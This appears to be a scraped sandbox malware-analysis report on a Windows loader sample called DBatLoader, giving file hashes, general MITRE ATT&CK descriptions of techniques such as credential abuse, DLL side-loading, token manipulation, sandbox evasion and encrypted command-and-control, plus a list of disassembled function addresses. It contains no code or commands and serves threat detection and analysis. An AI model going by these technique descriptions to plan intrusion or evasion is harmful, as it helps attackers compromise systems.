Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction ID: 02a823c1bbb1b81b72a6362b2c6459d4fc0836a78bebeb77370abad8c03138f8
Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction Fuzzy Hash: 9421A2BD68061DABDB14DF29CC80BAE73A9EF44361F008111EE54DB341EF34E9119AE4

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8e8JUOzOjR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
8e8JUOzOjR.exe

Function 0284F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535
filesleepCOMMON

Function 02835A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Function 0284F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Function 0284DFE4 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Function 0284E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Function 02847CF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Function 02846D48 Relevance: 1.5, APIs: 1, Instructions: 48
comCOMMON

Function 02831724 Relevance: 9.0, APIs: 7, Instructions: 289
sleepCOMMON

Function 02848704 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Function 02831A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Function 0284E72A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Function 0284881C Relevance: 6.1, APIs: 4, Instructions: 65
libraryloaderCOMMON

Function 0283E2E4 Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Function 0284705C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Function 0283E37C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON